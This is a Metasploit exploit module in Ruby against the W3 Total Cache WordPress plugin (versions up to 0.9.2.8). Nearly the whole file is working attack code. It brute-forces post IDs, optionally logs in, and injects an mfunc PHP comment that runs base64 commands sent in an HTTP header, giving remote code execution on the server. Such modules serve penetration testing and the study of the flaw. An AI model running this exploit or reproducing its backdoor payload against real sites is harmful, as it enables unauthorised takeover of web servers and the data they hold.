Wordpress W3 Total Cache PHP Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Wordpress W3 Total Cache PHP Code Execution',  
'Description' => %q{  
This module exploits a PHP Code Injection vulnerability against Wordpress plugin  
W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older  
is also reported as vulnerable. The vulnerability is due to the handling of certain  
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is  
needed in order to add the malicious comment. If the POSTID option isn't specified,  
then the module will automatically bruteforce one. Also, if anonymous comments  
aren't allowed, then a valid username and password must be provided. In addition,  
the "A comment is held for moderation" option on Wordpress must be unchecked for  
successful exploitation. This module has been tested against Wordpress 3.5 and  
W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.  
},  
'Author' =>  
[  
'Unknown', # Vulnerability discovery  
'juan vazquez', # Metasploit module  
'hdm', # Metasploit module  
'Christian Mehlmauer' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '92652' ],  
[ 'BID', '59316' ],  
[ 'URL', 'http://wordpress.org/support/topic/pwn3d' ],  
[ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ]  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Payload' =>  
{  
'DisableNops' => true,  
},  
'Targets' => [ ['Wordpress 3.5', {}] ],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 17 2013'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "The base path to the wordpress application", "/wordpress/" ]),  
OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),  
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),  
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])  
], self.class)  
end  
  
def peer  
return "#{rhost}:#{rport}"  
end  
  
def require_auth?  
@user = datastore['USERNAME']  
@password = datastore['PASSWORD']  
  
if @user and @password and not @user.empty? and not @password.empty?  
return true  
else  
return false  
end  
end  
  
def get_session_cookie(header)  
header.split(";").each { |cookie|  
cookie.split(" ").each { |word|  
if word =~ /(.*logged_in.*)=(.*)/  
return $1, $2  
end  
}  
}  
return nil, nil  
end  
  
def login  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, "wp-login.php"),  
'method' => 'POST',  
'vars_post' => {  
'log' => @user,  
'pwd' => @password  
}  
})  
  
if res and res.code == 302 and res.headers['Set-Cookie']  
return get_session_cookie(res.headers['Set-Cookie'])  
else  
return nil, nil  
end  
  
end  
  
def check_post_id(uri)  
options = {  
'method' => 'GET',  
'uri' => uri  
}  
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth  
res = send_request_cgi(options)  
if res and res.code == 200 and res.body =~ /form.*action.*wp-comments-post.php/  
return true  
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']  
location = URI(res.headers["Location"])  
uri = location.path  
uri << "?#{location.query}" unless location.query.nil? or location.query.empty?  
return check_post_id(uri)  
end  
return false  
end  
  
def find_post_id  
(1..1000).each{|id|  
vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0  
res = check_post_id(normalize_uri(target_uri) + "/?p=#{id}")  
return id if res  
}  
return nil  
end  
  
def post_comment  
php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == '#{@sum}' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->"  
  
vars_post = {  
'comment' => php_payload,  
'submit' => 'Post+Comment',  
'comment_post_ID' => "#{@post_id}",  
'comment_parent' => "0"  
}  
vars_post.merge!({  
'author' => rand_text_alpha(8),  
'email' => "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com",  
'url' => rand_text_alpha(8),  
}) unless @auth  
  
options = {  
'uri' => normalize_uri(target_uri.path, "wp-comments-post.php"),  
'method' => 'POST'  
}  
options.merge!({'vars_post' => vars_post})  
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth  
  
res = send_request_cgi(options)  
if res and res.code == 302  
location = URI(res.headers["Location"])  
uri = location.path  
uri << "?#{location.query}" unless location.query.nil? or location.query.empty?  
return uri  
else  
return nil  
end  
end  
  
def exploit  
  
@auth = require_auth?  
  
if @auth  
print_status("#{peer} - Trying to login...")  
@cookie_name, @cookie_value = login  
if @cookie_name.nil? or @cookie_value.nil?  
fail_with(Exploit::Failure::NoAccess, "#{peer} - Login wasn't successful")  
end  
else  
print_status("#{peer} - Trying unauthenticated exploitation...")  
end  
  
if datastore['POSTID'] and datastore['POSTID'] != 0  
@post_id = datastore['POSTID']  
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")  
else  
print_status("#{peer} - Trying to brute force a valid POST ID...")  
@post_id = find_post_id  
if @post_id.nil?  
fail_with(Exploit::Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")  
else  
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")  
end  
end  
  
random_test = rand_text_alpha(64)  
@sum = Rex::Text.sha1(random_test)  
  
print_status("#{peer} - Injecting the PHP Code in a comment...")  
post_uri = post_comment  
if post_uri.nil?  
fail_with(Exploit::Failure::Unknown, "#{peer} - Expected redirection not returned")  
end  
  
print_status("#{peer} - Executing the payload...")  
options = {  
'method' => 'GET',  
'uri' => post_uri,  
'headers' => {  
'Cmd' => Rex::Text.encode_base64(payload.encoded),  
'Sum' => random_test  
}  
}  
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth  
res = send_request_cgi(options)  
if res and res.code == 301  
fail_with(Exploit::Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")  
end  
end  
  
def check  
res = send_request_cgi ({  
'uri' => normalize_uri(target_uri.path),  
'method' => 'GET'  
})  
  
if res.nil?  
return Exploit::CheckCode::Unknown  
end  
  
if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/  
version = $1  
if version <= "0.9.2.8"  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/)  
return Exploit::CheckCode::Detected  
end  
  
return Exploit::CheckCode::Unknown  
  
end  
end  
`